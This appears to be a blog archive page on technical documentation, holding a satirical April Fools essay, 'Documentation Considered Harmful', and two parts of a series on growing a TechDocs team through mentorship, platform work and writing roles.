Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Lounge Scene

2026-02-26T10:00:00-08:00

Thursday, February 26, 2026

Documentation Considered Harmful

2019-04-01T00:00:00+00:00

Key Words and Phrases: documentation, knowledge sharing, engineering culture, technical writing, user experience (UX), product culture

Background

For those of you familiar with my community and professional work—as a co-founder and organizer of the Write The Docs conference (2013-2015), as an outspoken advocate for documentation, and as the Technical Lead (TL) of Twitter's internal TechDocs team (2014-current)—this publication may come as a surprise. It is precisely these professional experiences which have led me to the understanding that I have today: that documentation may in fact be more harmful than it is helpful.

For a number of years I have been familiar with the observation that the quality of software product teams is a decreasing function of the density of documentation that accompanies the products they produce. More recently I discovered why the use of documentation has such disastrous effects, and I became convinced that documentation should be abolished from all "higher level" software development efforts (i.e. everything except, perhaps, plain machine code). At that time I did not attach too much importance to this discovery; I now submit my considerations to the public, because in very recent discussions in which the subject turned up, I have been urged to do so.

What Problem Does Documentation Solve?

My first remark is that, although the programmer's activity ends when they have constructed a correct program, the customer experience taking place under control of that program is the true subject matter of a programmer's activity, for it is this customer experience that has to accomplish the desired effect; it is this process that in its dynamic behavior, has to satisfy the desired specifications and deliver value to the customer of the product. Yet, once the program has been made, the "making' of the corresponding process is delegated to the machine.

Often the use of these products is made in isolation from the programmer. In fact, the customer is interacting with the machine, not with the programmer who created the product. The programmer attempts to capture all potentially relevant knowledge about the product in the form of documentation, which is then provided to the customer alongside the final product. The customer is then faced with the daunting task of interacting with an inscrutable machine process, which does not (and can not) explain itself, while digging through a veritable mountain of information provided by the programmer, attempting to locate the one small bit of information that will help them accomplish their goals, and ultimately derive value from the product.

The Problem Of Docs

This model is at best anachronistic and at worst has an effect that is an extreme opposite of its intentions. A customer may spend a good deal of time attempting to read documentation, failing to find answers, and interacting with the process via a trial-and-error methodology. A customer may spend vast amounts of time interacting with the product without ever succeeding in deriving value from it, which results in a net loss of value to the customer.

This model is anachronistic in that it is based on an old and now outmoded method of communicating knowledge: two dimensional written language. Hearkening back to the earliest days of human history, regardless of medium—the clay tablets, papyrus sheets, and tortoise shells of 3500 BCE, the printing press of 1440 CE, or the hypertext web of 1989 CE—all such information delivery systems suffer from a number of major flaws.

The first and most notable flaw is in the maintenance and updating of this knowledge. While we have come a long way since the era of clay tablets and hand-copied illuminated texts, even modern systems for publishing documentation rely on a point-in-time capture of knowledge in the written word, which is then published and read by the customers of the product. At some point, the knowledge may change, requiring our diligent programmers and technical writers to manually locate all outdated knowledge, remove it, and replace it with current information, then publish once more. This snapshotting process means that the information will always be, at minimum, slightly out of date, and sometimes, grossly inaccurate.

It is also very easy for even the most well-meaning of documentation authors to "miss a spot", leaving outdated information in the final published product, especially in a large corpus. It is also theoretically impossible to include every piece of information, and a constant process of prioritization, filtering, and compromise must be made leading to a subset of relevant knowledge being published, but leaving out details that may be important to certain customers in certain situations, leaving those customers without a resource to discover that knowledge.

The issue of discoverability within what is published is another concern. Modern technologies like search engines, especially those backed by artificial intelligence, attempt to help the customer locate knowledge by formulating their questions in natural language. This technology is impressive, but ultimately it is just a very sophisticated version of the printed index located in the back of most textbooks and other non-fiction technical publications. These systems improve the speed with with a customer may dig through a corpus of knowledge, but do little to change the fundamental paradigm of the knowledge acquisition task. The customer is still digging through a haystack, looking for a needle, which may or may not be there, but these days, uses a fancy metal detector.

Rarely do we stop to question this somewhat insane activity. Our current system is inefficient for both authors and readers, and has large functional gaps against its intended effect. Further, it is a strong indicator of what should be two very bright red flags; poorly written code, and suboptimal user experience (UX).

Excessive documentation is a side effect of poorly written code. Modern programming languages are just that: languages. They are a form of communication, and when done properly, code represents a form of communication not between a human and a machine, but between two humans, who are working together with a machine to accomplish a task. A machine speaks in 0s and 1s, numbers, and a constantly flowing stream of electrons. Computers are unable to comprehend words. Words—in the form of a programming "language"—must be compiled (i.e., translated) into machine language for the computer to be part of the conversation.

Our programming languages are designed to reduce ambiguity, to allow our natural form of human expression (words, phrases, sentences, which capture semantic concepts), to be made concrete into a set of numeric instructions that our machine may process, unconscious of both their intended effects or actual outcomes. Programming languages are optimized to be readable and expressive for humans, so that we may collaboratively work within the mental model of our natural human languages, while still being able to produce this machine output as a side effect of our conversations.

Since programming languages are designed for humans, there is no reason they should not be easily readable, easily comprehended, and should be sufficient information for anyone who would like to know how a system works. The process of writing documentation is a meta-information process in which we explain what we've already explained, without the benefit of the concision and clarity that the formal language of code provides. In essence we are undergoing multiple stages of translation, from our initial mental model, into a programming language, into machine code, and then into English (or some other natural language).

At every stage of translation there is some information loss, and some lack of precision that occurs. At the level of translating from our mental model to code, it is the compromises we make from our ideal product constrained by the limitations of the machine. At the level of programming languages to machine code, it is the bugs we introduce and other unintended behaviors (or lack of behaviors), and at the documentation level, it is the verbose, informal, and incomplete explication of the aforementioned processes.

This complexity is hurting us, not helping us. Code should be simple and readable. Programming languages should be made more sophisticated so that they are closer in nature to our natural human languages, or closer in nature to other forms of abstract writing like mathematical notation. If the code was clear, concise, and written in a more natural language model, there would be little to no need for additional translation into documentation.

Excessive documentation is also a side effect of poorly design user experiences (UX). Machine systems should be obvious in their behavior with clear instrumentation, transparent mechanisms, and intuitive interactions. Products that require explanation to be used are poor products.

Consider something as simple, yet useful, as a hammer. A hammer is a tool that humans have been using in some form or another since time immemorial. A heavy mass is lifted, moved with speed, translating its stored potential energy into kinetic energy, and the resulting kinetic energy brought to bear upon a focal point, transferring that energy into the subject. Whether it's a rock raised high above one's head and brought down onto coconut, or a modern metal-headed hammer swung precisely to hit a nail, the hammer augments our abilities as humans, providing power and firmness, where we are naturally weak and soft.

The hammer is well adapted to its environment—powered by gravity and the innate forces of our physical world of mass, potential, and kinetic energies, and controlled by a simple hand-grasp motion and arm swing, that even a 1 day old human baby is capable of—a hammer needs no instruction manual. The user experience has been refined through thousands of years of trial and error, and the product incrementally improved from lifting heavy rocks, to ideally proportioned swingables made by melting iron and curing hardwoods, augmented now by modern materials like nylon and other advanced polymers. Could our software products be more like hammers? Why aren't they? I propose that the more documentation which is required to explain a product, the worse that product's design is.

Ultimately, the need for documentation can be eliminated by improving both our programming languages (and our use of them), and by improving the design of the products we build.

To make a complete analysis of this, I think it is pertinent to call out one final example of the many unnecessary layers of abstraction that are part of most modern software documentation systems. We author our documentation in Markdown, which is translated to HTML, which is read and translated to thoughts by the end users. Translation after translation, with transmission loss at each stage.

Couldn't we remove some of this inefficiency by authoring directly in HTML (another machine-readable language meant to be readable, now deemed too unreadable)? Or even better, could we not update our web browsers to read and display Markdown directly, without the need for translation, JavaScript libraries, or other additional complexities?

There are so many areas for improvement in this process, yet we continually build more layers on top, rather than improving the existing structures. This tendency is a strong anti-pattern and such efforts should be discouraged.

A Better Way: Distributed Direct Communication

Rather than simply levelling a critique against our current modality, I would like propose an alternative that I think has a lot of strong advantages: Distributed Direct Communication.

Direct Communication (DC) involves the transference of knowledge from one human to another without intermediaries, using natural language. A good example of this which is common in today's workplace is the practice of "shoulder taps", wherein a coworker who needs information simply taps the shoulder of their knowledgeable peer, and asks their question directly. The worker receives their reply and can carry on with their work immediately, with the exact knowledge they requested. These interactions are quick, with a minimal invest paid by both the information seeker and the information provider. The worker is unblocked immediately and can return to using the tool, and deriving value from it.

This method is also nothing new. Orally transmitted knowledge is our oldest system of information retention and knowledge sharing. It has its roots in the storytelling traditions of primitive man, and continues on in many forms today, via cultural activities such as musical lyrics, TED Talks, and instructor-led classroom teaching. Many product organizations understand this value and have customer support teams dedicated to fielding questions posed via a dizzying array of communication mediums; Twitter, Slack, Email, Facebook comments, phone calls, and in-person customer-service desks. These all share one common attribute, which is the use of natural language to understand the need of the customer and provide a very specific ad-hoc response that directly serves the customer's need.

These systems, however, are still quite basic. Customer support is nascent in its development. There is little effort made beyond the simple transactional process of question and answer, to ensure that the customer has not only the knowledge they seek, but additional knowledge that they might need in the future. Imagine a database that served only one field of information per transaction, vs returning an entire row, or set of rows. This would be a very inefficient system, and would put all the burden on the querying client to associate multiple pieces of information together, or to group and aggregate. Insights that can only be derived through higher-order analysis are left to the intuition and synthesis powers of the learner, and there is no way to reliably ensure that these insights are ever produced, or are accurate.

Lacking a complete graph of knowledge, the customer is also unable to assist other customers with any knowledge they haven't personally acquired. Consider the model of Distributed Version Control Systems (DVCS) like git, or Mercurial, wherein each copy of the repository contains a full history of all changes, or said another way, a full graph of all related knowledge. There becomes no functional difference between a clone and the original source. A clone may serve as a source of truth as easily as the master repository does. This improves the overall system resiliency, and can also majorly change the network communication patterns, allowing for a highly distributed graph, with nodes that are both server and client, allowing any node to "shoulder-tap" its nearest neighbor to get a full understanding of the system (or any individual part of it).

Similarly, other Peer-To-Peer (P2P) protocols and systems share knowledge through a web of interconnected nodes, with no specific node being any more of an authority than the others. A gossip protocol can be employed which publishes every new piece of information to each of its neighbors, and then its neighbors publish to their neighbors, until every node in the system has the same knowledge.

Could we not do the same with our human knowledge, using our natural language as our transmission mechanism?

Consider an office of ten (10) programmers. One individual authors a new program, and in their head, holds the entire set of knowledge about it: a complete picture even beyond the well-written code, including the original vision, and what compromises were made during implementation. This individual can then explain it to the programmers sitting to either side of them. Once they have learned the information the original programmer may return to work. Now three (3) people in the office have a complete understanding of the code. The other two may then tell two (2) more, and so on, until every programmer in the office has a full understanding of the product. Each one only spending the amount of time required to explain it once to a small set of listeners, then immediately returning to work.

At this point, documentation is entirely unnecessary. The information is fully transmitted to all coworkers, with minimal time investment, and is fully replicated to all employees, allowing the group to lose or gain members without losing information. New members can be filled in verbally, with any of the existing members of the staff acting as mentor, requiring minimal on-boarding investment, allowing the new member to come up to speed quickly. As changes to this information occur, the change can be expressed once by the originating programmer, and distributed by a gossip-protocol-like transfer between members. These small micro-updates are concise and focused and require only negligible cost. Any time knowledge is missing, or forgotten, a simple shoulder-tap to any of their peers can refresh this information.

Compare how this process works with current documentation practices: The original programmer creates the product, and then must spend significant amounts of time re-expressing the product in an alternate written form, likely leaving out some details. The written documentation is published somewhere passively, possibly with an alert to the other staff that there is new content available to read. Other staff continues working, deferring the information acquisition process until it is needed, causing them to block on their work. They then spend a large amount of time attempting to find the answer to their specific problem, searching through a large knowledge set, losing context from their original problem. If they don't find it, they must resort to verbal knowledge transference.

However this "shoulder tap" is not efficient, because it's not a first-class feature of the knowledge sharing process. The original programmer is the only person that reliably has all the knowledge, so they become the recipient of all "shoulder taps" instead of distributing that load to the rest of the engineering staff. They may end up with a large portion of their day consumed by such interruptions. To mitigate that, they then further interrupt their primary work to update the documentation to include the missing, inaccurate, or poorly expressed information.

The time spent writing and reading documentation, and the time high-value individuals are being interrupted because they are the single-source-of-truth could have been spent improving the readability of the code, or the design of the user experience to obviate the need for additional knowledge transmission. Unfortunately, they are unable to ever make such improvements because of the constant process of documentation updates they must partake in. As the product continues to develop this problem gets worse and worse, ultimately either halting all forward progress, or leaving customers of the product without vital information, and thus unable to derive value.

Does It Scale?

An initial reaction to the above proposal may be that this system could never scale to the level that popular software products with millions of customers would need. Documentation may seem to be the only reasonable way to transmit knowledge to the masses (or perhaps some other 1-to-many knowledge capture tools like in-person classes, or video recordings). While scaling up to will always be a challenge, I propose that a Distributed Direct Communication (DDC) system has better scaling performance than existing documentation-focused methodologies.

With a DDC-based system, every engineer holds a complete replica of information. This can be transferred to a dedicated staff of customer support engineers, who can function like a cache in modern computing infrastructure. This dedicated knowledge cache can serve orders of magnitude of customers inquiries. Frequent requests from specific individual can be identified, and that person can be scheduled for a full knowledge transfer via an in-person class.

Once knowledgeable, that customer can serve as a community support resource for other customers (similar to the Microsoft MVP program). Those customers can form affinity groups and share knowledge with one another, allowing the information to propagate outside of the paid product team, reducing inbound requests over time. A nice feature of this system is that it becomes more efficient over time.

Conclusion

Documentation as it stands is just too primitive; it is too much an invitation to make a mess of one's product and one's code. One can regard and appreciate the described direct communication practices as bridling its use. I do not claim that the practices mentioned are exhaustive in the sense that they will satisfy all needs, but whatever practices are suggested (e.g. verbal gossip protocol) they should satisfy the requirement that the customer experience is always a net gain, and that technical information is maintained in a helpful and manageable way.

Humans have been using the system of tribal verbal knowledge for eons... why does it need to change? Rather, it needs to evolve to take advantage of our modern communication systems, and advancements in understanding of distributed systems.

Finally, there is one critical optimization of of verbal communication has been a feature of tribal knowledge sharing since its inception, which is the use of rhythmic speech and singing to facilitate understanding and retention. Whether it's the chanted mantras of Buddhist dharma transmission, or the singing and dancing that is part of the storytelling customs of ancient peoples in every culture, it has been proven that these techniques provide a massive improvement to the process of verbal knowledge transfer. For this reason, it is recommended that any real-life implementation of DDC consider using rhyming couplets as a basic underlying data structure.

Scaling a TechDocs Team from 1 to 100 (Part 3)

2018-01-10T00:00:00+00:00

Further Discussion

While writing these articles, I asked my coworker Greg Poulos (@gregpoo) to take a pass at proofreading/editing. He had some good feedback and questions, which I thought I should tack onto the end of this series of posts.

NOTE: This is the third article of a three-part series. The first part discusses strategy while the second part explains how to grow a TechDocs team.

This discussion will be formatted as a dialog, with Greg providing feedback on the previous material, and Troy responding. *

Problems with Mentorship

Greg: This is really great! Very clear, straightforward explication of our approach to TechDocs. I feel like we can actually take some lessons away from this post for our own organization :-)

The thing that struck me most was that this post doesn’t really mention the difficulties we’ve had in implementing the three-tier approach. In particular, I feel like we’ve had trouble at the Mentorship tier.

Troy: Excellent point! I agree that we really need to look at this as a vision for our team and examine how far we are from it. I think a lot of the difficulties we've faced with the three tier approach are more related to our team size, and more specifically with our ratio of 1:750. Part of the idealism of this post is the notion that a TechDocs team grows with a company, so that you never experience the kind of excessive ratio imbalance we deal with here at Twitter.

According to the blog post, we're expecting to be able to mentor three (3) teams per quarter. We've done a great job of keeping up with that. Considering Twitter has hundreds of separate engineering teams, even when we meet that goal, it is hard to see the impact. That's why we focus on strategic projects that will have a force magnifying effect, and build our own success metrics around scoped impact.

Regarding the problems we've had with mentorship… They fall into three large categories of failure:

Ownership: Teams don't have a strong sense of ownership of their docs. We engage with the team, do some work for them, and they are happy to let us do the work, but then they don't follow-up to maintain and own their product docs long-term.
Prioritization: Initial conversations go well, but we can never seem to get the team to prioritize the docs project. We assign work for them to do, but they don't do it. Overall very little accountability for this failure. No one ever explicitly says that the work won't be done, but it just keeps getting "put off", despite our influence/nagging.
Poor ROI: Teams feel that the Return On Investment (ROI) of doing docs-related work is too low. They feel that the investment in terms of time/effort is too high, compared with the gains in customer experience/value. They explicitly walk away from doing docs work (even when guided by or in collaboration with the TechDocs team). The team leaves with a sense that it wasn't time well spent, and are less motivated to work on it again in the future, or maintain the work they did.

For each of those problems, there are solutions.

The Docs DRI concept directly addresses ownership issues. Once the Docs DRI role is assigned, that person can be an embedded documentation advocate, pushing back against prioritization failures, by regularly bringing up the need to do docs work during the team planning meetings.

When we've used the embedded model, we become the de facto Docs DRI for the team, and we've had much better success that way. Another technique to combat prioritization failure is regular follow-up on issues/tickets that relate to docs, instead of letting them go stale. This can be automated, or manually done by the TechDocs team (it may seem like boring grunt work, but is important organizational communication!).

Regarding ROI and how working on docs is perceived by Engineering teams, the best approach is to lead with numbers. By performing before/after studies, you can prove the value of the work done on docs. I'll follow-up soon with a blog post dedicated entirely to that. The important part here is discerning between perceived lack of value vs actual lack of value.

In other words, it's certainly possible to spend a lot of time on docs and get nothing out of it. If that's happening, then that's a problem and should be fixed. If it's just a matter of Engineers and Engineering Managers perceiving a low ROI, when actually the customer impact of docs work is entirely worth it, then it's up to the TechDocs team to prove the value of that work by quantifying that impact and showing up with numbers that will shift opinions.

Engineers respect numbers. Give them numbers!

Shouldn't We Allocate More Resources to Writing vs Mentorship?

**Greg: **I really enjoy the whole "How to Grow a TechDocs Team" section, and the specificity with which you go through what should change with each additional member. My main note here is that, at the largest levels of organization, I might push to focus more resources into Writing and fewer into Mentorship.

E.g., if we had 20 TechDocs people at Twitter, I feel like we’d be better served to have 2 Mentors and 8 Writers rather than 5 Mentors and 5 Writers. Or maybe there could be more of a focus on crossover roles in the larger organization size — e.g., folks who are 75% #WriteTheDocs and 25% Mentorship

Troy: I intentionally emphasized Mentorship over Writing, because I feel like it's always important (and perhaps increasingly important as a company grows) to encourage a culture of docs in engineering teams.

A company should never let the engineers feel like they can stop taking ownership for their own docs. I strongly feel that writing is a core skill and fundamental aspect of good engineering. Within technology companies, tech-writing as a separate independent discipline is primarily meaningful as a quality boost for high-value information products.

There is a danger with having more dedicated writers, which is that engineers may feel like they can specialize more and do less writing, since the TechDocs team has more capacity for it. That can cause a pendulum swing wherein technology gets created and a minimal TechDocs team is overwhelmed. This is assuming that the writer to engineer ratio is still in the 1:20 or 1:10 range. If it's closer to 1:1 or 1:5, then the writers may be able to keep up, but maybe not.

However, I also pessimistically believe that no tech company will ever value tech-writing equivalently to engineering, which means that there will always be a large differential ratio between writers and engineers, at least an order of magnitude, if not two. Of course, if that ratio does fall into that 1:5 to 1:1 range, by all means, tech-writing should take full ownership of the docs and leave the engineers to crank out code (assuming they will still meet with writers as SMEs, which may take as much of their time as just writing basic docs anyway… sooo, maybe not very efficient anyway?).

There is also a loss of resiliency when specializing vs generalizing. Many tech companies suffer high employee turnover rates, and reduction in force (RIF) events that eliminate staff who do not contribute directly to revenue generation. In such cases, imagine that you had a team with 10 dedicated writers, and a team of 20 dedicated engineers who did no writing. Suppose you lost headcount for both writers and engineers, but lost a greater percentage of writers, and ended up with say, 5 writers and 15 engineers. Since your engineers have not been working under a culture of docs they won't naturally pick up the slack and start writing more, especially considering they just lost engineers and will need to increase their workload. Further, your team of writers will get quickly overwhelmed, without time for mentorship, and will be demotivated by their loss of staff. You may even lose the rest of those writers in such a situation.

Now imagine that same situation, but 5 of those original 10 writers spent their time mentoring the 20 engineers on writing, and encouraging them to spend 25% of their time on writing. The engineers are now producing 75% of their max engineering output (15 engineers worth), and the writing output remains the same (because 25% of 20 engineers == 5 writers worth of output, plus the other 5 writers). This may seem like a loss of engineering productivity, but it's actually a gain in resiliency. When the RIF comes and the TechDocs team is reduced to 5 and the eng team to 15, the engineering team can continue to produce 3.75 writer's worth of output, plus the 5 fulltime writers, leaving you with 8.75 writers and 11.25 engineers worth of output. That is a much more balanced portfolio.

I'm also implicitly prioritizing quantity of output over quality and long-term resiliency over short-term impact. That may not always be the right set of values. Depending on the phase of the company, and the long-term and short-term goals of company, they may wish to focus on maximizing quality of writing on certain high-value topics. For example, a company that produces an API-driven product, when it is first building its market and attempting to rapidly acquire customers, should probably dedicate their full-time technical writers towards producing the highest possible quality of public-facing docs, since that's the only interface the customers will have.

Conclusion

I make some strong statements above, but please remember to take it with a grain of salt... all of this is entirely based on scaling a set of random assumptions about potential productive output, with no real data to support it. That's why I really want to measure real output via the Codewerdz project. I want more legitimate numbers about both what engineers can/will do and what tech-writers can/will do.

Scaling a TechDocs Team from 1 to 100 (Part 2)

2018-01-09T00:00:00+00:00

How to Grow a TechDocs Team

Getting a handle on technical documentation is an essential part of any software project, yet this fact seems to get forgotten by most companies during their staffing discussions. Rarely does a tech startup co-founder think to hire a technical writer as part of their initial engineering team. Many companies do not even have a single dedicated person on documentation. So, let's start there.

NOTE: This is the second article of a three-part series. The first part discusses strategy while the third part wraps up with some more in depth discussion.

Team Size: 0

Even without a dedicated documentarian, your company can still use the strategies outlined in this post. Instead of a formalized TechDocs team, create an internal meta-team composed of docs-curious engineers, designers, managers and marketers. This meta-team should start with the Platform and Policy tier, collaborating to create company-wide resources that everyone can use. A regularly-scheduled Doc Day once a month (or even once a quarter) can keep the forest fires contained, even if the backlog never really seems to get any smaller. Individuals can be tasked to #WriteTheDocs for important projects, or assign themselves as the de facto Docs DRI for their team. When working on docs, don't forget to Put A Number On It to hold yourself accountable and have success stories to use when making the case for your first full-time documentarian.

Team Size: 1-5

You don't know how happy I am that you're reading this section. That means that your company has taken a leap of faith, realized that technical documentation is crucial to the success of their product, and put their money into action by hiring a dedicated documentarian. THIS IS AWESOME! (Cue "Everything is Awesome" from the Lego Movie soundtrack).

No one at the company is even sure what that word documentarian means yet, but the hardest part is already over. So, where do you start?

1: An Army Of One

If you're the only documentarian at your company, congratulations! You're the Director of Technical Documentation now. Whether or not you have that title, that's your job. You are not there to write docs. You are there to run a doc-writing program.

Advice: You should focus your time primarily on Platform and Policy (50%), with Mentorship and #WriteTheDocs both consuming roughly 25% of your time.

Capacity:

Platform and Policy (50%): 1 platform improvement per quarter, 4 per year
Mentorship (25%): 1 engagement per quarter, 4 per year
_#WriteTheDocs_ (25%): 1 major writing project per quarter, 2 per year*

*If you have a #WriteTheDocs deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.

Justification: It's very likely that your company has more engineers than it does documentarians at this point. By investing in Platform and Policy, you can activate your engineers to be perfectly adequate documentarians in their spare time. Your Mentorship efforts will help them develop a better culture. And when it's really important, for about a quarter every year, you can roll up your sleeves to #WriteTheDocs and get to the wordsmithing you love to do.

Growing: You know that your company needs more than one documentarian, but you need to prove it. You're the expert and also the experiment that they are using to decide if they should invest further or not. Pay close attention to your metrics and make sure that you can prove the ROI of your work. Those stories will support you when you make your case to hire the next one, two, ten or twenty documentarians.

2: Two Minds Are Better Than One

You did it! You proved your value, asked for more help, and they said that most magic of words: YES!. So what should this new person be doing? More of the same? Should you hire for someone who is a generalist, more of a writer, or more of an engineer? Well, it depends.

Advice: A team of two still isn't enough to specialize. When hiring for this second role, you'll need to take a good look at yourself and at your company and try to figure out where your strengths and weaknesses are. Hire someone who is strong where you are weak. If you have a solid engineering background, or a engineering staff who is willing to help build out your docs platform tooling, then there's no need to hire someone with specialized engineering skills. You might do better investing in someone with a strong writing background, or vice-versa.

Either way, at this stage you will still be focusing on Platform and Policy and increasing your capacity for Mentorship. It still doesn't make sense to spend any additional individual contribution time on #WriteTheDocs, but having two people will double your output. One person should take the role of Mentorship Lead and the other as Platform Lead.

Capacity:

Overall:

Platform and Policy (37.5%): 1.5 major improvement to the platform per quarter, 6 per year
Mentorship (37.5%): 3 engagements per quarter, 12 per year
_#WriteTheDocs_ (25%): 1 major writing project per quarter, 4 per year

Person 1: Mentorship Lead

Mentorship (50%): 2 engagements per quarter, 8 per year
Platform and Policy (25%): .5 major improvement to the platform per quarter, 2 per year
_#WriteTheDocs_ (25%): 0.5 major writing projects per quarter, 2 per year*

Person 2: Platform Lead

Platform and Policy (50%): 1 major improvement to the platform per quarter, 4 per year
Mentorship (25%): 1 engagement per quarter, 4 per year
_#WriteTheDocs_ (25%): 0.5 major writing projects per quarter, 2 per year*

*If you have a #WriteTheDocs deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.

Justification: You're still too small to make any kind of a real impact as individual contributors. Focusing on mentoring engineers to be better writers and building out your platform with more guidance docs is the best way to spend your resources.

Growing: Pretty soon someone is going to ask, "Why do we have two tech-writers on staff, but they spend very little of their time actually writing docs?"...

3: Three's Company Too

Great news! Your dynamic duo is doing a great job and despite some lack of understanding of exactly what you do here the company has decided to give you another person. I think you know by now what this person should be doing: focus on writing!

Advice: As usual, you want to hire for your weaknesses, and your weakness at this stage is the lack of a dedicated writer for important projects. You need a Writing Lead. Your first two folks should keep on keeping on exactly as they have been.

Capacity:

Overall:

Platform and Policy (33.3%): 2 major improvement to the platform per quarter, 8 per year
Mentorship (33.3%): 4 engagements per quarter, 16 per year
_#WriteTheDocs_ (33.3%): 2 major writing projects per quarter, 8 per year

Person 1: Mentorship Lead

Mentorship (50%): 2 engagements per quarter, 8 per year
Platform and Policy (25%): .5 major improvement to the platform per quarter, 2 per year
_#WriteTheDocs_ (25%): 0.5 major writing projects per quarter, 2 per year

Person 2: Platform Lead

Platform and Policy (50%): 1 major improvement to the platform per quarter, 4 per year
Mentorship (25%): 1 engagement per quarter, 4 per year
_#WriteTheDocs_ (25%): 0.5 major writing projects per quarter, 2 per year

Person 3: Writing Lead

_#WriteTheDocs_ (50%): 1 major writing project per quarter, 4 per year*
Platform and Policy (25%): .5 major improvement to the platform per quarter, 2 per year
Mentorship (25%): 1 engagement per quarter, 4 per year

*Now is the time to take on those large writing projects you've been deferring.

4, 5: Do More With Less

Grow that team!! Your next two hires should follow the same priority schedule as before.

Advice: #4 should be a TechDocs Mentor, focusing on more Mentorship, and #5 should be a dedicated Platform Engineer for your growing body of policies and tools.

Capacity:

*NOTE: Your three leads will keep going as before, so we won't bother repeating that breakdown here.

Overall:

Platform and Policy (33.3%): 4 major improvements to the platform per quarter, per year
Mentorship (33.3%): 8 engagements per quarter, 32 per year
_#WriteTheDocs_ (33.3%): 2 major writing projects per quarter, 8 per year

Person 4: TechDocs Mentor

Mentorship (100%): 4 engagements per quarter, 16 per year

Person 5: Platform Engineer

Platform and Policy (100%): 2 major improvements to the platform per quarter, 8 per year

Justification: By the time you're a team of five (5), you've probably got some bespoke tooling, and need a dedicated engineer to maintain, operate, and develop it. Mentorship is still your best bet, and doing 32 engagements per year allows you to service a medium-sized engineering organization. If we assume that each engineering team is about five (5) people on average, that means your team of five (5) is mentoring a group of ~160 engineers every year. If that's all the engineers, great! If that's 50%, that's still pretty good! Your ratio makes a big difference here.

If you're like us at Twitter, with a 750:1 ratio, this is still not really enough, as that's only about 10% of the engineers who are receiving mentorship each year. Hopefully they will talk to the other 90%, but we can't really rely on that, now can we?

Growing: With a team of five (5) people, you're probably going to notice a major vacuum in leadership. Your next hire should be someone to function as a dedicated manager for this growing team.

Team Size: 6-11

Now that we've seen what 0-5 looks like, in a lot of detail, the next tier of growth should be fairly intuitive. I'll just sketch out the basics:

6: Coordination and Management

For any team of five (5) people or more, you need a dedicated manager. It's too much overhead for the leads to constantly explain the direction and purpose, and stand-ups are getting a little chaotic because your Tech Docs Mentor spends a lot of time explaining the needs of the numerous teams they are working with, while your Platform Engineer gets tediously nerdy about the details of why your docs publishing platform crashed (again) last week. Someone needs to get this crew on the same page, and needs to explain this growing expenditure to the higher-ups, and field in-bound requests from other teams and organizations for your help. Your TechDocs Manager will do all of those functions without batting an eye, and still remember everyone's birthday, and plan regular off-sites to keep everyone glowing with happiness, by positively reinforcing your successes... They can also spend their time focusing on hiring the next 5 to 95 people that will make up your organization.

7 to 10: Grow and Specialize

The next four (4) hires should look something like this:

7: +1 mentorship
8: +1 writing
9: +1 platform
10: +1 mentorship

At a team size of ten (10), your roles will be: 4 mentorship, 3 platform, 2 writing, 1 manager.

You'll notice a small shift in priorities here, with less emphasis on platform and more on mentorship and writing. You have your first dedicated Tech Writer at #8, cranking out eight (8) projects per year by themselves. The beauty of scalable tools is that they need less and less investment over time, not more, so your two (2) dedicated Platform Engineers, and their lead should be able to keep up fine. The cross-functional leads will specialize more, and stop trying to do everything at the same time, focusing just on their niche.

11: We Need Some Structure

At this point we have three (3) full time mentors, with a lead, two (2) full time platform engineers, with a lead, and one (1) full time writer, with a lead, and a manager overseeing all of this glorious documentation activity.

Should we continue like this ad infinitum? Is there something else we are missing?

There is. Your writers are cranking out 12 projects every year, and your mentors are talking to 56 teams a year (~300 engineers). Those engineering teams are probably writing at least one documentation project for each team, maybe more. So you're seeing a growth in docs of about 60-70 projects a year. You've got good tooling for search, but it's still hard to dig through this massive corpus. You need someone to organize the universe. You need an Information Architect.

Your #11 hire should be someone who works entirely on Information Architecture (IA). This person will create vertical pillars through your docs focusing and segmenting the readers, making sure they can easily browse their way to success, in addition to search.

Team Size: 12-20

As you grow beyond this, you'll need to incrementally scale each effort. As the separate functions within your now-massive TechDocs team grow beyond five (5) individual contributors (ICs), it's time to promote those leads to be managers, and make sub-organizations that are independently managed.

Your former TechDocs Manager becomes a Director of Technical Documentation. Your leads become Mentorship Team Manager, Writing Team Manager and Platform Team Manager.

12: +1 mentorship; mentorship lead → manager
13: +1 platform
14: +1 writing
15: +1 platform; platform lead → manager
16: +1 writing
17: +1 writing; writing lead → manager
18: +1 IA
19: +1 mentorship
20: +1 writing

At a team size of twenty (20), your roles will be:

5 mentorship ICs, 1 mentorship manager
4 platform ICs, 1 platform manager
5 writing ICs, 1 writing manager
1 director.

Team Size: 20-100

So, I kind of lied. I'm not going to tell you exactly what to do after this point. By now you're the Director of Technical Documentation, with four (4) teams under you. It's likely been a number of years to get here. You probably know what you need, and you know how to grow your team responsibly.

That said, it's worth thinking about your mentorship program and tooling. TechDocs should own docs publishing, internally and externally, as well as information discovery and internal education. Maybe you've got an internal full-text search engine by now? Maybe you're running classes on writing, or just running classes on engineering topics? Maybe you're looking at dashboards of engineering writing activity? Maybe your platform engineers are making interactive documentation tools, so customers can execute examples directly from the browser against real APIs? Maybe you're getting your company policies updated so that documentation is a part of the engineering ladder for promotion? Maybe you're not just consulting with teams, but actually embedding mentors and writers full-time, or maybe just full-time-for-a-quarter?

Grow your team in a way that makes you proud, and don't forget to take some time to write the next best version of this blog post. In fact, go further than that. Release your tools into open source. Send your documentarians out to speak at conferences. Do more. Be part of the community. Give back. Lead your industry, not just your team.

And through all of it, never forget: Docs or it didn't happen!

Next: Discussion

